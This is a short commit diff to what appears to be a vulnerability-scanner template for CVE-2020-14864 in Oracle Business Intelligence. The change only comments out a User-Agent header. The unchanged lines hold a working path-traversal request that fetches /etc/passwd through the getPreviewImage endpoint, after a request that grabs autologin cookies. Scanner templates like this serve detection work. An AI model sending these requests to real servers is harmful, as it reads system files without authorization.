Passing User-Agent seems redudant

2021-03-11 17:30:25 +02:00 · 2021-03-11 17:30:25 +02:00 · f668c022fe
parent 0899ab1816
commit f668c022fe
1 changed files with 3 additions and 2 deletions
--- a/cves/2020/CVE-2020-14864.yaml
+++ b/cves/2020/CVE-2020-14864.yaml
@ -12,8 +12,9 @@ info:

 requests:
  - method: GET
-    headers:
-      User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+    # Why is the header needed here? it doesn't appear to be required by the exploit
+    # headers:
+    #   User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
    path:
      - '{{BaseURL}}/analytics/saw.dll?bieehome&startPage=1' # grab autologin cookies
      - '{{BaseURL}}/analytics/saw.dll?getPreviewImage&previewFilePath=/etc/passwd'